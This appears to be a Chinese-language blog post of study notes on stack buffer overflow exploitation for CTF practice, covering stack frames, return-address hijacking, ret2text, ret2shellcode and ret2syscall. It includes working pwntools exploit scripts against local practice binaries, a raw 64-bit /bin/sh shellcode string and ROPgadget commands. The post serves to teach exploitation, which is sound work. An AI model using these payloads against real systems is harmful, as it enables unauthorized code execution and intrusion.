0%

Stack-overflow 小记

跟着wood学了一下栈溢出.
思路大概就是用输入时候的漏洞覆盖其他的数值.
下面就从入门到入坟梳理一下栈溢出漏洞.

0x0 栈中变量的存储方式

栈中变量的存储符合先进后出
Data_stack.png
函数中申请局部变量是在栈内存的.
栈中地址由高地址向低地址生长, 即栈顶是低地址, 栈底是高地址.

数组的存储方式

数组的存储

1
int a[10];

定义一个内存大小为10sizeof(int)的int数组a, 那么a的值是数组的首地址, a[i] = (a + i)

ebp esp 寄存器

ebp指向栈底, esp指向栈顶, (ebp esp 在栈内存中是不占用内存的, ebp, esp寄存器用的不是栈内存)

0x1 程序的运行 eip寄存器

程序的汇编中, 代码段和数据段分开储存, 数据段有栈储存(严谨来说内存栈并不在数据段), 代码段没有
在代码栈中, 当运行到第i行时, eip指向第i+1行, eip的跳转可以实现函数的多种功能.

0x2 基础栈溢出

来自ctf-wiki的一些内容

大概就是说, 在读入的时候, 对读入的数据的多少没有限制或者限制不够, 导致读入的数据覆盖到栈中的其他内存, 这样就能达到一些目的.

劫持函数返回地址

函数调用retn问题

v2-9125ba203edd2bab1308ad88db2ae197_hd.png
用一个小例子来简单的理解一下.
当main函数中调用get_flag函数的时候, 程序做的操作:
1.get_flag 参数从右向左入栈(32位)
比如

1
2
3
int get_flag(int a, int b) {
return a + b;
}

b先入栈, 然后a入栈.
v2-9ae4f530296d4a8ec7d44443e3e6d37f_hd.png

  1. 当前eip入栈, 当调用的get_flag函数执行完成后, 会有ret, ret相当于pop eip, 这时候栈顶是原eip的值, 这样程序运行完get_flag后就可以继续运行main函数中的指令.
    v2-c350a4c5e9f5bbe839606486f3100185_hd.png
  2. 保存原栈底指针ebp的值, ebp指向新的栈底, esp指向当前栈帧底部(原esp不用存, 可算出.)

    劫持函数Return Address

    利用输入时的漏洞可以可更改函数的返回地址.
    从一个简单小例题看看这是什么东西.
    我们

    可以看到主函数很简单, 读入字符串s, 可以看到没有对s输入的长度进行限制, 我们可以利用这点来更改Return Address的值.

    经过观察, 我们只要调用这个fun函数, 我们就能获得服务器的控制权.

    看一下fun函数的地址, 将光标移到fun上后按tab键可出现该界面

    看一下在main函数内存栈中储存的位置, 来算下偏移.
    前面的地址是相对ebp的偏移, 其中-0xf处的s是字符数组s的起始地址.
    下面0x8位置的r代表return address
    我们想要覆盖returnaddress, 那么需要先输入0x8 + 0xf个字符, 然后输入fun函数的地址, 即可运行fun函数.
    输入fun函数的地址时需要进行一些操作, 因为直接输入的话会被当做字符直接读入, 这时候我们可以用p64这个pwntools, p64(x)将x拆成由8个字符组成的字符串输出(其中涉及到大小端存储), 具体原理不说了…
    类似, p32是拆成4个字符输出.
    然后写个脚本做一做就好了.
    (需要chmod加权限)
    脚本如下:
    1
    2
    3
    4
    5
    from pwn import *
    s = process('./pwn1')
    payload = 'a' * 23 + p64(0x401186)
    s.sendline(payload)
    s.interactive()

对脚本解释一下..
process 是运行pwn1 这个可执行文件, payload是构造的字符串, sendline(payload)是把payload输入到命令行并且在结尾加换行符, interactive() 切换到交互模式.

0x3 Basic ROP

抄ctf-wiki!

二话不说, 就是一通代码段…

ret2text

上面说过, retn 的实际指令是 pop eip, 上面的将return address的值换成 fun函数的地址, 其实是换成了fun函数的起始地址, 但是我们其实并不需要运行完整的fun函数, 我们只需要运行system(‘./bin/sh’)这个语句, 这时候我们查看一下上面的汇编代码, 发现在0x401191的位置调用了system函数, 但是调用system函数的时候需要先考虑system的参数问题, 上一行lea rdi, command是在调整参数, 那么只要把eip指向0x401191对应的指令就行, 注意调用函数时候的参数问题, 需要先把参数调整好再调用system函数.

ret2shellcode

这个东西是在没有system(“./bin/sh”)时候的一种操作.
这种方法需要一段内存它是可写可执行的, 并且我们可以想办法写入.
从ctf-wiki例题开始看.

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}

发现有gets函数, 可以读入一些东西.
看了一下栈中变量的存储情况发现可以修改栈中的return address.
并且把输入的内容复制到了buf2段, 我们查看一下buf2对应的段.
发现buf2在bss段, 并且有可读可写可执行权限, 那么我们可以先写入shellcode, 然后用任意字符溢出到return address 对应的地址, return address 需要将其更改为buf2对应的地址, 然后就可以运行写入的shellcode获取权限了.
pwntools 工具解释.
shellcraft.sh()获得32位系统上的shellcode.
asm(string)
将string汇编转化为二进制.
ljust补齐, exp.py中为先输入shellcode, 然后补’a’, ‘a’的个数和shellcode的总字节数加起来为112.
脚本.

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

附赠64位shellcode一段.

'x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'

ret2syscall

我jio的, ctf-wiki上讲的很全很好, 附个链接.
注意的一些事情:
int 0x80我暂且先将其理解为execve这个函数, 先用一些代码片段修改函数参数, 然后再调用int 0x80

  • ROPgadget安装.
    sudo pip install ropgadget
    
  • 常用用法
    ROPgadget —binary filename —string “ /bin/sh”
    ROPgadget —binary filename —only “pop|ret” | grep ‘eax’
    ROPgadget —binary filename —only ‘int’